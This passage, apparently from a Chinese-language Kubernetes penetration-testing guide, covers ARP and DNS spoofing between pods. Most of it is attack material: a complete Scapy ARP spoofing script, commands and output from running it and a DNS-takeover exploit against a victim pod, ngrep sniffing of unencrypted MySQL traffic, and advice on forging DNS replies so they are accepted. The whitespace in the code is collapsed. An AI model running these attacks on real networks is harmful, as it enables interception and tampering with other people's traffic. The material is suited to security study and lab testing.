ARP 欺骗攻击涉及 攻击者在局域网中发送伪造的 ARP(地址解析协议)消息。这导致 攻击者的 MAC 地址与网络上合法计算机或服务器的 IP 地址关联。在成功执行此类攻击后,攻击者可以拦截、修改或甚至停止传输中的数据。该攻击在 OSI 模型的第 2 层上执行,这就是为什么 Kubernetes 在此层的默认连接性引发安全担忧。
python3/tmp/arp_spoof.pyEnterTargetIP:172.17.0.10#ubuntu-victimEnterGatewayIP:172.17.0.9#mysqlTargetMAC02:42:ac:11:00:0aGatewayMAC:02:42:ac:11:00:09SendingspoofedARPresponses# Get another shellkubectlexec-itubuntu-attack--bashngrep-deth0# Login from ubuntu-victim and mysql and check the unencrypted communication# interacting with the mysql instance
arp_spoof.py
#From https://gist.github.com/rbn15/bc054f9a84489dbdfc35d333e3d63c87#file-arpspoofer-pyfrom scapy.all import*defgetmac(targetip):arppacket=Ether(dst="ff:ff:ff:ff:ff:ff")/ARP(op=1, pdst=targetip)targetmac=srp(arppacket, timeout=2 , verbose=False)[0][0][1].hwsrcreturn targetmacdefspoofarpcache(targetip,targetmac,sourceip):spoofed=ARP(op=2 , pdst=targetip, psrc=sourceip, hwdst= targetmac)send(spoofed, verbose=False)defrestorearp(targetip,targetmac,sourceip,sourcemac):packet=ARP(op=2 , hwsrc=sourcemac , psrc= sourceip, hwdst= targetmac , pdst= targetip)send(packet, verbose=False)print("ARP Table restored to normal for", targetip)defmain():targetip=input("Enter Target IP:")gatewayip=input("Enter Gateway IP:")try:targetmac=getmac(targetip)print("Target MAC", targetmac)except:print("Target machine did not respond to ARP broadcast")quit()try:gatewaymac=getmac(gatewayip)print("Gateway MAC:", gatewaymac)except:print("Gateway is unreachable")quit()try:print("Sending spoofed ARP responses")whileTrue:spoofarpcache(targetip, targetmac, gatewayip)spoofarpcache(gatewayip, gatewaymac, targetip)exceptKeyboardInterrupt:print("ARP spoofing stopped")restorearp(gatewayip, gatewaymac, targetip, targetmac)restorearp(targetip, targetmac, gatewayip, gatewaymac)quit()if__name__=="__main__":main()# To enable IP forwarding: echo 1 > /proc/sys/net/ipv4/ip_forward
python3 exploit.py --direct 172.17.0.10
[*] starting attack on direct mode to pod 172.17.0.10
Bridge: 172.17.0.1 02:42:bd:63:07:8d
Kube-dns: 172.17.0.2 02:42:ac:11:00:02
[+] Taking over DNS requests from kube-dns. press Ctrl+C to stop
#In the ubuntu machinediggoogle.com[...];; ANSWERSECTION:google.com.1INA1.1.1.1
如果你尝试创建自己的 DNS 欺骗脚本,仅仅修改 DNS 响应是不行的,因为响应将会有源 IP为恶意pod的 IP 地址,并且不会被接受。
你需要生成一个新的 DNS 数据包,其源 IP为受害者发送 DNS 请求的DNS(类似于 172.16.0.2,而不是 10.96.0.10,那是 K8s DNS 服务 IP,而不是 DNS 服务器 IP,更多内容在介绍中)。
捕获流量
工具 Mizu 是一个简单而强大的 API 流量查看器,用于 Kubernetes,能够让你查看微服务之间的所有 API 通信,以帮助你调试和排查回归问题。
它将在选定的 pods 中安装代理,收集它们的流量信息并在一个 web 服务器上显示。然而,你需要高权限的 K8s 权限(而且这并不是很隐蔽)。